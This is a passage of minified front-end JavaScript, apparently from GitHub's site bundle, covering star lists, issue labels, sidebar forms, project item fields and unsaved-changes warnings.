DocumentFragment?t.querySelector(".js-target-url"):null;(n==null?void 0:n.textContent)?location.href=n.textContent:location.reload()});function Hr(e){if(!(e.currentTarget instanceof HTMLElement))return;const t=e.currentTarget.closest(".js-user-list-form"),n=e.currentTarget.closest(".js-user-list-input-container");t&&n&&Dr(t,n)}s(Hr,"clearErrorsFromInput"),(0,j.q6)(".js-user-list-form input",Hr),(0,j.q6)(".js-user-list-form textarea",Hr),(0,c.on)("auto-check-error",".js-user-list-form input",function(e){const t=e.currentTarget.closest(".js-user-list-input-container"),n=t==null?void 0:t.querySelector(".js-user-list-error");n&&(n.hidden=!1)});function wl(e){var t;const n=new Map;for(const o of e){const r=(t=o.querySelector(".js-user-lists-create-trigger"))==null?void 0:t.getAttribute("data-repository-id");if(r){const i=n.get(r);i?i.push(o):n.set(r,[o])}}return n}s(wl,"groupRootsByRepositoryId");async function El(e,t,n){const o=new FormData;o.set("authenticity_token",t);for(const a of n)o.append("repository_ids[]",a);const r=await fetch(e,{method:"POST",body:o,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}}),i=new Map;if(r.ok){const a=await r.json();for(const l in a)i.set(l,(0,q.r)(document,a[l]))}return i}s(El,"requestMenuBatchRender");function Ll(e,t){for(const[n,o]of e.entries()){const r=t.get(n)||[];for(const i of r)i.replaceWith(r.length===1?o:o.cloneNode(!0))}}s(Ll,"replaceUserListMenuRoots");async function Or(){var e;const t=document.querySelectorAll(".js-user-list-menu-content-root");if(t.length===0)return;const n=t[0].getAttribute("data-batch-update-url");if(!n)return;const o=(e=t[0].querySelector(".js-user-list-batch-update-csrf"))==null?void 0:e.value;if(!o)return;const r=wl(t),i=r.keys(),a=await El(n,o,i);a.size>0&&Ll(a,r)}s(Or,"updateAllUserListMenus");function jl(e){const t=new Promise((n,o)=>{e.addEventListener("user-list-menu-form:success",()=>n()),e.addEventListener("user-list-menu-form:error",r=>o(r))});return(0,L.Bt)(e),t}s(jl,"requestUserListMenuFormSubmit");function Sl(e){const t=e.target;if(!(t instanceof HTMLDetailsElement)||t.hasAttribute("open"))return;const n=t.querySelector(".js-user-list-menu-form");n&&(0,Mt.T)(n)&&(0,L.Bt)(n);const o=t.querySelector(".js-user-list-create-trigger-text");o&&(o.textContent="")}s(Sl,"submitUserListFormOnToggle"),(0,c.on)("toggle",".js-user-list-menu",Sl,{capture:!0}),(0,j.q6)(".js-user-lists-menu-filter",e=>{const t=e.currentTarget,n=t.value.trim(),o=t.closest(".js-user-list-menu-content-root"),r=o==null?void 0:o.querySelector(".js-user-list-create-trigger-text");!r||(r.textContent=n?`"${n}"`:"")}),(0,C.AC)(".js-user-list-menu-form",async function(e,t){let n;try{n=await t.json()}catch(r){(0,T.v)(),(0,c.f)(e,"user-list-menu-form:error",r);return}if(n.json.didStar){const r=e.closest(".js-toggler-container");r&&r.classList.add("on");const i=n.json.starCount;if(i){const a=e.closest(".js-social-container");a&&mr(a,i)}}const o=e.closest(".js-user-list-menu-content-root[data-update-after-submit]");if(o)for(const r of e.querySelectorAll(".js-user-list-menu-item"))r.checked=r.defaultChecked;n.json.didCreate?await Or():o&&await(0,Me.x0)(o),(0,c.f)(e,"user-list-menu-form:success")}),(0,c.on)("click",".js-user-list-delete-confirmation-trigger",e=>{const{currentTarget:t}=e,n=t.getAttribute("data-template-id");if(!n)return;const o=document.getElementById(n);if(!o||!(o instanceof HTMLTemplateElement))return;const r=t.closest(".js-edit-user-list-dialog");r&&(r.open=!1);const i=o.content.cloneNode(!0),a=o.getAttribute("data-labelledby");(0,Te.W)({content:i,labelledBy:a})}),(0,c.on)("click",".js-user-lists-create-trigger",async function(e){const{currentTarget:t}=e,n=document.querySelector(".js-user-list-create-dialog-template"),o=e.currentTarget.getAttribute("data-repository-id"),r=t.closest(".js-user-list-menu-content-root"),i=r==null?void 0:r.querySelector(".js-user-lists-menu-filter"),a=i==null?void 0:i.value.trim();if(!n||!(n instanceof HTMLTemplateElement)||!o){t instanceof HTMLButtonElement&&(t.disabled=!0);return}const l=n.getAttribute("data-label");if(r&&(0,Mt.T)(r)){const S=r.querySelector(".js-user-list-menu-form");S&&await jl(S)}const y=new lt.R(n,{repositoryId:o,placeholderName:a}),w=await(0,Te.W)({content:y,label:l});w.addEventListener("user-list-form:success",async()=>{await Or();const S=w.closest("details");S&&(S.open=!1)})}),(0,u.N7)("[data-warn-unsaved-changes]",{add(e){e.addEventListener("input",qt),e.addEventListener("change",qt),e.addEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").addEventListener("toggle",Nr),t.addEventListener("details-dialog-close",Br))},remove(e){e.removeEventListener("input",qt),e.removeEventListener("change",qt),e.removeEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").removeEventListener("toggle",Nr),t.removeEventListener("details-dialog-close",Br),et())}});function qt(e){const t=e.currentTarget;(0,Mt.T)(t)?Tl(t):et()}s(qt,"prepareUnsavedChangesWarning");function Tl(e){const t=e.getAttribute("data-warn-unsaved-changes")||"Changes you made may not be saved.";window.onbeforeunload=function(n){return n.returnValue=t,t}}s(Tl,"enableSaveChangesReminder");function et(){window.onbeforeunload=null}s(et,"disableSaveChangesReminder");function Nr({currentTarget:e}){e.hasAttribute("open")||et()}s(Nr,"disableSaveChangesReminderOnClosedDialogs");function Br(e){const t=e.currentTarget;if(!t.closest("details[open]"))return;let o=!0;const r=t.querySelectorAll("form[data-warn-unsaved-changes]");for(const i of r)if((0,Mt.T)(i)){const a=i.getAttribute("data-warn-unsaved-changes");o=confirm(a);break}o||e.preventDefault()}s(Br,"promptOnDialogClosing"),(0,u.N7)(".will-transition-once",{constructor:HTMLElement,subscribe:e=>(0,M.RB)(e,"transitionend",Al)});function Al(e){e.target.classList.remove("will-transition-once")}s(Al,"onTransitionEnd");async function Cl(e){const t=e.currentTarget,n=t.getAttribute("data-url");if(!n||kl(t))return;const o=t.getAttribute("data-id")||"",r=t.textContent,i=document.querySelectorAll(`.js-issue-link[data-id='${o}']`);for(const a of i)a.removeAttribute("data-url");try{const a=`${n}/title`,l=await fetch(a,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!l.ok){const w=new Error,S=l.statusText?` ${l.statusText}`:"";throw w.message=`HTTP ${l.status}${S}`,w}const y=await l.json();$r(i,`${r}, ${y.title}`)}catch(a){const l=(a.response!=null?a.response.status:void 0)||500,y=(()=>{switch(l){case 404:return t.getAttribute("data-permission-text");default:return t.getAttribute("data-error-text")}})();$r(i,y||"")}}s(Cl,"issueLabel");function $r(e,t){for(const n of e)n instanceof HTMLElement&&(n.classList.add("tooltipped","tooltipped-ne"),n.setAttribute("aria-label",t))}s($r,"setLabel");function kl(e){switch(e.getAttribute("data-hovercard-type")){case"issue":case"pull_request":return!!e.closest("[data-issue-and-pr-hovercards-enabled]");case"discussion":return!!e.closest("[data-discussion-hovercards-enabled]");default:return!1}}s(kl,"isHovercardEnabled"),(0,u.N7)(".js-issue-link",{subscribe:e=>(0,M.RB)(e,"mouseenter",Cl)});var xl=f(12085),Ie=f.n(xl);function xn(){return[Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0)]}s(xn,"randomRGBColor");function tt(e,t){const n=Ie().rgb.hsl(t);e.style.setProperty("--label-r",t[0].toString()),e.style.setProperty("--label-g",t[1].toString()),e.style.setProperty("--label-b",t[2].toString()),e.style.setProperty("--label-h",n[0].toString()),e.style.setProperty("--label-s",n[1].toString()),e.style.setProperty("--label-l",n[2].toString())}s(tt,"setColorSwatch");function Mn(e,t){e.blur();const n=e.closest("form"),o=n.querySelector(".js-new-label-color-input");(0,L.Se)(o,`#${Ie().rgb.hex(t)}`);const r=n.querySelector(".js-new-label-color");tt(r,t)}s(Mn,"setInputColorFromButton");function Ml(e,t){e.closest(".js-label-error-container").classList.add("errored"),e.textContent=t,e.hidden=!1}s(Ml,"addErrorToField");function ql(e){e.closest(".js-label-error-container").classList.remove("errored"),e.hidden=!0}s(ql,"removeErrorFromField");function ze(e,t,n){const o=t.querySelector(e);!o||(n?Ml(o,n[0]):ql(o))}s(ze,"showOrHideLabelError");function qn(e,t){ze(".js-label-name-error",e,t.name),ze(".js-label-description-error",e,t.description),ze(".js-label-color-error",e,t.color)}s(qn,"showLabelErrors");function De(e){ze(".js-label-name-error",e,null),ze(".js-label-description-error",e,null),ze(".js-label-color-error",e,null)}s(De,"hideLabelErrors");function Rl(e,t,n,o,r){const i=new URL(`${e}${encodeURIComponent(t)}`,window.location.origin),a=new URLSearchParams(i.search.slice(1));return a.append("color",n),o&&a.append("description",o),r&&a.append("id",r),i.search=a.toString(),i.toString()}s(Rl,"labelPreviewUrl");function _l(e){let t=null;const n=e.querySelector(".js-new-label-description-input");return n instanceof HTMLInputElement&&n.value.trim().length>0&&(t=n.value.trim()),t}s(_l,"labelDescriptionFrom");function Pl(e){const t=e.querySelector(".js-new-label-color-input");return t.checkValidity()?t.value.trim().replace(/^#/,""):"ededed"}s(Pl,"labelColorFrom");function Il(e,t){let o=e.querySelector(".js-new-label-name-input").value.trim();return o.length<1&&(o=t.getAttribute("data-default-name")),o}s(Il,"labelNameFrom");async function Ke(e){const t=e.closest(".js-label-preview-container");if(!t)return;const n=e.closest(".js-label-form"),o=n.querySelector(".js-new-label-error"),r=n.getAttribute("data-label-id"),i=t.querySelector(".js-label-preview"),a=Il(n,i);if(!n.checkValidity()&&a!=="Label preview")return;const l=Pl(n),y=_l(n),w=i.getAttribute("data-url-template"),S=Rl(w,a,l,y,r);if(t.hasAttribute("data-last-preview-url")){const I=t.getAttribute("data-last-preview-url");if(S===I)return}let R;try{R=await(0,pe.a)(document,S)}catch(I){const F=await I.response.json();qn(n,F),o&&(o.textContent=F.message,o.hidden=!1);return}o&&(o.textContent="",o.hidden=!0),De(n),i.innerHTML="",i.appendChild(R),t.setAttribute("data-last-preview-url",S)}s(Ke,"updateLabelPreview");function Dl(e){Ke(e.target)}s(Dl,"onLabelFormInputChange");function Fr(e,t){e.closest(".js-details-container").classList.toggle("is-empty",t)}s(Fr,"toggleBlankSlate");function Ur(e){const t=document.querySelector(".js-labels-count"),o=Number(t.textContent)+e;t.textContent=o.toString();const r=document.querySelector(".js-labels-label");return r.textContent=r.getAttribute(o===1?"data-singular-string":"data-plural-string"),o}s(Ur,"updateCount"),(0,j.q6)(".js-label-filter-field",function(e){const t=e.target,o=t.closest("details-menu").querySelector(".js-new-label-name");if(!o)return;const r=t.value.trim();o.textContent=r}),(0,c.on)("filterable:change",".js-filterable-issue-labels",function(e){const t=e.currentTarget.closest("details-menu"),n=t.querySelector(".js-add-label-button");if(!n)return;const r=e.detail.inputField.value.trim().toLowerCase();let i=!1;for(const a of t.querySelectorAll("input[data-label-name]"))if((a.getAttribute("data-label-name")||"").toLowerCase()===r){i=!0;break}n.hidden=r.length===0||i}),(0,j.ZG)(".js-new-label-color-input",function(e){const n=e.closest("form").querySelector(".js-new-label-swatches");n.hidden=!1,e.addEventListener("blur",function(){n.hidden=!0},{once:!0})}),(0,j.q6)(".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(!(n.length<1))if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){t.classList.remove("color-fg-danger");const r=t.closest("form").querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(n))}else t.classList.add("color-fg-danger")}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){const i=t.closest("form").querySelector(".js-new-label-color");tt(i,Ie().hex.rgb(n))}(0,c.f)(t,"change",!1);const o=t.closest("form");De(o)}),(0,j.w4)("keyup",".js-new-label-description-input",function(e){const n=e.target.form;De(n)}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const n=e.target.form;De(n)}),(0,c.on)("click",".js-new-label-color",async function(e){const t=e.currentTarget,n=xn();Mn(t,n),Ke(t)}),(0,c.on)("mousedown",".js-new-label-color-swatch",function(e){const t=e.currentTarget,n=t.getAttribute("data-color");Mn(t,Ie().hex.rgb(n)),Ke(t);const o=t.closest(".js-new-label-swatches");o.hidden=!0}),(0,c.on)("toggle",".js-new-label-modal",function(e){e.target.hasAttribute("open")&&Wr(e.target)},{capture:!0});async function Wr(e){const t=e.querySelector(".js-new-label-name-input");if(!t)return;const n=e.querySelector(".js-new-label-color-input"),o=xn(),r=`#${Ie().rgb.hex(o)}`;n.value=r;const i=e.querySelector(".js-new-label-color");tt(i,o);const l=document.querySelector(".js-new-label-name").textContent;(0,L.Se)(t,l),(0,Ht.OD)(t),Ke(i)}s(Wr,"initLabelModal"),(0,C.AC)(".js-new-label-modal-form",async function(e,t){const n=e.querySelector(".js-new-label-error");let o;try{o=await t.html()}catch(y){const w=y.response.json;n.textContent=w.message,n.hidden=!1}if(!o)return;n.hidden=!0,document.querySelector(".js-new-label-modal").removeAttribute("open");const r=document.querySelector(".js-issue-labels-menu-content"),i=r.querySelector(".js-filterable-issue-labels"),a=o.html.querySelector("input");i.prepend(o.html),a&&a.dispatchEvent(new Event("change",{bubbles:!0}));const l=r.querySelector(".js-label-filter-field");l.value=l.defaultValue,l.focus()}),(0,c.on)("click",".js-edit-label-cancel",function(e){const t=e.target.closest("form");De(t),t.reset();const n=t.querySelector(".js-new-label-color-input"),o=n.value,r=t.querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(o)),(0,Ht.Qc)(t),Ke(n);const i=e.currentTarget.closest(".js-labels-list-item");if(i){i.querySelector(".js-update-label").classList.add("d-none");const l=i.querySelector(".js-label-preview");l&&(l.classList.add("d-none"),i.querySelector(".js-label-link").classList.remove("d-none"));const y=i.querySelectorAll(".js-hide-on-label-edit");for(const w of y)w.hidden=!w.hidden}}),(0,C.AC)(".js-update-label",async function(e,t){let n;try{n=await t.html()}catch(r){const i=r.response.json;qn(e,i);return}De(e),e.closest(".js-labels-list-item").replaceWith(n.html)}),(0,C.AC)(".js-create-label",async function(e,t){let n;try{n=await t.html()}catch(a){const l=a.response.json;qn(e,l);return}e.reset(),De(e),document.querySelector(".js-label-list").prepend(n.html),Ur(1),Fr(e,!1);const o=e.querySelector(".js-new-label-color"),r=xn();Mn(o,r),Ke(e.querySelector(".js-new-label-name-input")),(0,Ht.Qc)(e);const i=e.closest(".js-details-container");i instanceof HTMLElement&&(0,Vt.Qp)(i)}),(0,c.on)("click",".js-details-target-new-label",function(){document.querySelector(".js-create-label").querySelector(".js-new-label-name-input").focus()}),(0,c.on)("click",".js-edit-label",function(e){const t=e.currentTarget.closest(".js-labels-list-item"),n=t.querySelector(".js-update-label");n.classList.remove("d-none"),n.querySelector(".js-new-label-name-input").focus();const r=t.querySelector(".js-label-preview");r&&(r.classList.remove("d-none"),t.querySelector(".js-label-link").classList.add("d-none"));const i=t.querySelectorAll(".js-hide-on-label-edit");for(const a of i)a.hidden=!a.hidden}),(0,C.AC)(".js-delete-label",async function(e,t){const n=e.closest(".js-labels-list-item");n.querySelector(".js-label-delete-spinner").hidden=!1,await t.text();const o=Ur(-1);Fr(e,o===0),n.remove()});const Rt=(0,P.D)(Dl,500);(0,c.on)("suggester:complete",".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-description-input",Rt),(0,j.q6)(".js-new-label-color-input",Rt),(0,j.w4)("keypress",".js-new-label-name-input",function(e){const t=e.target,n=parseInt(t.getAttribute("data-maxlength"));(0,Ee.rq)(t.value)>=n&&e.preventDefault()}),(0,c.on)("click",".js-issues-label-select-menu-item",function(e){!e.altKey&&!e.shiftKey||(e.preventDefault(),e.stopPropagation(),e.altKey&&(window.location.href=e.currentTarget.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=e.currentTarget.getAttribute("data-included-url")))}),(0,j.w4)("keydown",".js-issues-label-select-menu-item",function(e){if(e.key!=="Enter"||!e.altKey&&!e.shiftKey)return;const t=e.currentTarget;e.preventDefault(),e.stopPropagation(),t instanceof HTMLAnchorElement&&(e.altKey&&(window.location.href=t.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=t.getAttribute("data-included-url")))}),(0,c.on)("click",".js-open-label-creation-modal",async function(e){e.stopImmediatePropagation();const t=await(0,Te.W)({content:document.querySelector(".js-label-creation-template").content.cloneNode(!0),detailsClass:"js-new-label-modal"});Wr(t)},{capture:!0}),(0,c.on)("change",".js-thread-notification-setting",Rn),(0,c.on)("change",".js-custom-thread-notification-option",Rn),(0,c.on)("reset",".js-custom-thread-settings-form",Rn);function Rn(){const e=document.querySelector(".js-reveal-custom-thread-settings").checked,t=!document.querySelector(".js-custom-thread-notification-option:checked"),n=document.querySelector(".js-custom-thread-settings"),o=document.querySelector("[data-custom-option-required-text]"),r=e&&t?o.getAttribute("data-custom-option-required-text"):"";o.setCustomValidity(r),n.hidden=!e}s(Rn,"toggleEventSettings");var Hl=Object.defineProperty,Ol=Object.getOwnPropertyDescriptor,zr=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Ol(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Hl(t,n,r),r},"sidebar_widget_decorateClass");let _n=s(class extends HTMLElement{get activeClass(){return this.getAttribute("active-class")||"collapsible-sidebar-widget-active"}get loadingClass(){return this.getAttribute("loading-class")||"collapsible-sidebar-widget-loading"}get url(){return this.getAttribute("url")||""}get isOpen(){return this.hasAttribute("open")}set isOpen(e){e?this.setAttribute("open",""):this.removeAttribute("open")}onKeyDown(e){if(e.code==="Enter"||e.code==="Space")return e.preventDefault(),this.load()}onMouseDown(e){return e.preventDefault(),this.load()}load(){return this.pendingRequest?this.pendingRequest.abort():this.collapsible.hasAttribute("loaded")?this.isOpen?this.setClose():this.setOpen():(this.setLoading(),this.updateCollapsible())}setLoading(){this.classList.add(this.loadingClass),this.classList.remove(this.activeClass)}setOpen(){this.classList.add(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!0}setClose(){this.classList.remove(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!1}handleAbort(){this.pendingRequest=null,this.setClose()}async updateCollapsible(){var e;try{this.pendingRequest=new AbortController,this.pendingRequest.signal.addEventListener("abort",()=>this.handleAbort());const t=await fetch(this.url,{signal:(e=this.pendingRequest)==null?void 0:e.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(this.pendingRequest=null,!t.ok)return this.setClose();const n=await t.text();this.collapsible.innerHTML=n,this.collapsible.setAttribute("loaded",""),this.setOpen()}catch{return this.pendingRequest=null,this.setClose()}}},"CollapsibleSidebarWidgetElement");zr([J.fA],_n.prototype,"collapsible",2),_n=zr([J.Ih],_n);var Nl=Object.defineProperty,Bl=Object.getOwnPropertyDescriptor,ve=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Bl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Nl(t,n,r),r},"sidebar_memex_input_decorateClass");let ye=s(class extends HTMLElement{constructor(){super(...arguments);this.url="",this.csrf="",this.instrument="",this.column=1}get isDisabled(){var e;return(e=this.read)==null?void 0:e.hasAttribute("disabled")}set hasErrored(e){e?this.setAttribute("errored",""):this.removeAttribute("errored")}set disabled(e){e?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get hasExpanded(){return this.read.getAttribute("aria-expanded")==="true"}connectedCallback(){var e,t;this.disabled=(t=(e=this.read)==null?void 0:e.disabled)!=null?t:!0,this.querySelector("details")!==null&&this.classList.toggle("no-pointer")}handleDetailsSelect(e){var t;const n=e,o=e.target,r=(t=n.detail)==null?void 0:t.relatedTarget,i=o.closest("details"),a=i==null?void 0:i.querySelector("[data-menu-button]");if(r.getAttribute("aria-checked")==="true"){r.setAttribute("aria-checked","false"),e.preventDefault();for(const l of this.inputs)if(r.contains(l)){this.updateCell(l.name,""),(a==null?void 0:a.innerHTML)&&(a.innerHTML=l.placeholder);break}i==null||i.removeAttribute("open")}}handleDetailsSelected(e){var t;const o=(t=e.detail)==null?void 0:t.relatedTarget;for(const r of this.inputs)if(o.contains(r)){this.updateCell(r.name,r.value);break}}mouseDownFocus(e){!this.isDisabled||this.onFocus(e)}keyDownFocus(e){(e.code==="Enter"||e.code==="Space")&&this.read!==document.activeElement&&this.onFocus(e)}onChange(e){var t,n;e.target.getAttribute("type")!=="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value)}onFocus(e){e.preventDefault(),this.disabled=!1,this.read.disabled=!1,this.read.focus()}onBlur(e){var t,n;if(this.hasExpanded){e.preventDefault();return}e.target.getAttribute("type")==="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value),this.read.disabled=!0,this.disabled=!0}onKeyDown(e){if(e.code==="Enter"||e.code==="Tab"){if(e.preventDefault(),e.stopPropagation(),this.hasExpanded)return;this.read.blur()}}async updateCell(e="",t=""){const n=new FormData;n.set(e,t),n.set("ui",this.instrument);for(const r of this.parameters)n.set(r.name,r.value);const o=Intl.DateTimeFormat("en-US",{month:"short",day:"numeric",year:"numeric",timeZone:"UTC"});try{if(this.write){const S=this.read.value,R=this.read.type==="date"&&S?o.format(Date.parse(S)):S;this.write.textContent=S?R:this.read.placeholder}const r=await fetch(this.url,{method:"PUT",body:n,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest","Scoped-CSRF-Token":`${this.csrf}`}});if(!r.ok)throw new Error("connection error");if(!this.write)return;const l=(await r.json()).memexProjectItem.memexProjectColumnValues.find(S=>S.memexProjectColumnId===Number(this.column)).value,y=this.read.type==="date"?Date.parse(l.value):l.html,w=this.read.type==="date"&&y?o.format(y):y;this.write.innerHTML=t?w:this.read.placeholder}catch{this.hasErrored=!0}}},"SidebarMemexInputElement");ve([J.Lj],ye.prototype,"url",2),ve([J.Lj],ye.prototype,"csrf",2),ve([J.Lj],ye.prototype,"instrument",2),ve([J.Lj],ye.prototype,"column",2),ve([J.GO],ye.prototype,"inputs",2),ve([J.fA],ye.prototype,"read",2),ve([J.fA],ye.prototype,"write",2),ve([J.GO],ye.prototype,"parameters",2),ye=ve([J.Ih],ye);function nt(e,t=!1){(t||!zl(e))&&(e instanceof HTMLFormElement?(0,L.Bt)(e):Pt(e))}s(nt,"submitForm");function Kr(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form")||t.querySelector(".js-issue-sidebar-form");nt(n)}s(Kr,"submitOnMenuClose"),(0,c.on)("details-menu-selected",".js-discussion-sidebar-menu",function(e){const t=e.detail.relatedTarget,n=e.currentTarget,o=t.closest(".js-issue-sidebar-form"),r=n.hasAttribute("data-multiple");if(t.hasAttribute("data-clear-assignees")){const i=n.querySelectorAll('input[name="issue[user_assignee_ids][]"]:checked');for(const a of i)a.disabled=!1,a.checked=!1;nt(o)}else r?n.closest("details").addEventListener("toggle",Kr,{once:!0}):nt(o)},{capture:!0});function $l(e,t){e.replaceWith((0,q.r)(document,t))}s($l,"updateSidebar");function Vr(e){const t=document.querySelector(`[data-menu-trigger="${e}"]`);t==null||t.focus()}s(Vr,"returnFocusToTrigger"),(0,C.AC)(".js-issue-sidebar-form",async function(e,t){var n;const o=await t.html(),r=e.closest(".js-discussion-sidebar-item"),i=(n=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:n.getAttribute("id");r.replaceWith(o.html),i&&Vr(i)}),(0,c.on)("click","div.js-issue-sidebar-form .js-suggested-reviewer",function(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form");Pt(n,"post",{name:t.name,value:t.value}),e.preventDefault()}),(0,c.on)("click","div.js-issue-sidebar-form .js-issue-assign-self",function(e){var t;const n=e.currentTarget,o=n.closest(".js-issue-sidebar-form");Pt(o,"post",{name:n.name,value:n.value}),n.remove(),(t=document.querySelector("form#new_issue .is-submit-button-value"))==null||t.remove(),e.preventDefault()}),(0,c.on)("click",".js-issue-unassign-self",function(e){const t=e.currentTarget.closest(".js-issue-sidebar-form");Pt(t,"delete"),e.preventDefault()}),(0,C.AC)(".js-pages-preview-toggle-form",async function(e,t){const n=await t.json();e.querySelector("button.btn").textContent=n.json.new_button_value});function Fl(e,t){const n=e.getAttribute("data-cache-name");return`${t}:sidebar:${n}`}s(Fl,"getCacheKey");function Ul(e,t,n){const o=e.getAttribute("data-cache-name");if(!o)return;const r=[];for(const[a,l]of t.entries())a.indexOf(o)!==-1&&r.push([a,l]);const i=r.filter(a=>a[1]!=="");i.length>0?sessionStorage.setItem(n,JSON.stringify(i)):sessionStorage.removeItem(n)}s(Ul,"cacheValues");const _t=new Set;function Xr(){_t.clear()}s(Xr,"clearHasFired");async function Wl(e,t){const n=e.getAttribute("data-cache-name"),o=sessionStorage.getItem(t);if(!n||!o||_t.has(n))return;_t.add(n);const r=JSON.parse(o),i=[];for(const[a,l]of r){if(Object.prototype.toString.call(l)!=="[object String]")continue;const y=document.createElement("input");y.type="hidden",y.value=l,y.name=a,e.appendChild(y),i.push(y)}try{await Zr(e);for(const a of i)a.remove()}catch{_t.delete(n)}}s(Wl,"restoreCachedValues");let Gr=!1;function Pn(e,t){if(Gr)return;const n=In(e);Ul(e,n,t),Xr()}s(Pn,"cacheValuesOnHide"),(0,u.N7)("[data-cacher]",{add(e){const t=Fl(e,(0,xe.e)());Wl(e,t),window.addEventListener("pagehide",()=>Pn(e,t)),window.addEventListener("pjax:beforeReplace",()=>Pn(e,t)),window.addEventListener("turbo:before-visit",()=>Pn(e,t)),window.addEventListener("submit",n=>{n.defaultPrevented||(Gr=!0,setTimeout(()=>{for(const o of Object.keys(sessionStorage))o.indexOf(t)!==-1&&(sessionStorage.removeItem(o),Xr())},0))},{capture:!0})}});async function Pt(e,t="post",n){var o;await Zr(e,t,n);const r=e.closest(".js-discussion-sidebar-item"),i=(o=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:o.getAttribute("id");i&&Vr(i)}s(Pt,"previewSubmit");async function Zr(e,t="post",n){const o=In(e);n&&o.append(n.name,n.value);const r=e.getAttribute("data-url");if(!r)return;const i=e.querySelector(".js-data-url-csrf"),a=await fetch(r,{method:t,body:t==="delete"?"":o,mode:"same-origin",headers:{"Scoped-CSRF-Token":i.value,"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;const l=await a.text();$l(e.closest(".js-discussion-sidebar-item"),l)}s(Zr,"requestPreview");function zl(e){const t=e.getAttribute("data-reviewers-team-size-check-url");if(!t)return!1;const n=[...document.querySelectorAll(".js-reviewer-team")].map(l=>l.getAttribute("data-id")),o=e instanceof HTMLFormElement?new FormData(e):In(e),i=new URLSearchParams(o).getAll("reviewer_team_ids[]").filter(l=>!n.includes(l));if(i.length===0)return!1;const a=new URLSearchParams(i.map(l=>["reviewer_team_ids[]",l]));return Kl(e,`${t}?${a}`),!0}s(zl,"reviewerTeamsCheckRequired");async function Kl(e,t){const n=await fetch(t);if(!n.ok)return;const o=await n.text();if(o.match(/[^\w-]js-large-team[^\w-]/))Vl(e,o);else{nt(e,!0);return}}s(Kl,"triggerTeamReviewerCheck");function Vl(e,t){const n=e.querySelector(".js-large-teams-check-warning-container");for(;n.firstChild;)n.removeChild(n.firstChild);n.appendChild((0,q.r)(document,t));const o=n.querySelector("details");function r(i){if(i.target instanceof Element){if(o.open=!1,!i.target.classList.contains("js-large-teams-confirm-button")){const a=e.querySelectorAll("input[name='reviewer_team_ids[]']");for(const l of a)n.querySelector(`.js-large-team[data-id='${l.value}']`)&&(l.checked=!1)}nt(e,!0),i.preventDefault()}}s(r,"dialogAction"),n.querySelector(".js-large-teams-confirm-button").addEventListener("click",r,{once:!0}),n.querySelector(".js-large-teams-cancel-button").addEventListener("click",r,{once:!0}),o.addEventListener("details-dialog-close",r,{once:!0}),o.open=!0}s(Vl,"showTeamReviewerConfirmationDialog"),(0,c.on)("click","div.js-project-column-menu-container .js-project-column-menu-item button",async function(e){const t=e.currentTarget;Xl(t);const n=t.getAttribute("data-url"),o=t.parentElement.querySelector(".js-data-url-csrf"),r=t.getAttribute("data-card-id"),i=new FormData;if(i.append("card_id",r),i.append("use_automation_prioritization","true"),e.preventDefault(),!(await fetch(n,{method:"PUT",mode:"same-origin",body:i,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)return;const l=document.activeElement,y=t.closest(".js-project-column-menu-dropdown");if(l&&y.contains(l))try{l.blur()}catch{}});function Xl(e){const n=e.closest(".js-project-column-menu-dropdown").querySelector(".js-project-column-menu-summary"),o=e.getAttribute("data-column-name");n.textContent=o}s(Xl,"updateProjectColumnMenuSummary"),(0,c.on)("click",".js-prompt-dismiss",function(e){e.currentTarget.closest(".js-prompt").remove()});function In(e){const t=e.closest("form");if(!t)return new FormData;const o=new FormData(t).entries(),r=new FormData;for(const[i,a]of o)t.contains(Gl(t,i,a.toString()))&&r.append(i,a);return r}s(In,"scopedFormData");function Gl(e,t,n){for(const o of e.elements)if((o instanceof HTMLInputElement||o instanceof HTMLTextAreaElement||o instanceof HTMLButtonElement)&&o.name===t&&o.value===n)return o;return null}s(Gl,"findParam"),(0,c.on)("click",".js-convert-to-draft",function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.parentElement.querySelector(".js-data-url-csrf");fetch(t,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":n.value,"X-Requested-With":"XMLHttpRequest"}})}),(0,c.on)("click","div.js-restore-item",async function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.getAttribute("data-column"),o=e.currentTarget.querySelector(".js-data-url-csrf"),r=new FormData;if(r.set("memexProjectItemIds[]",n),!(await 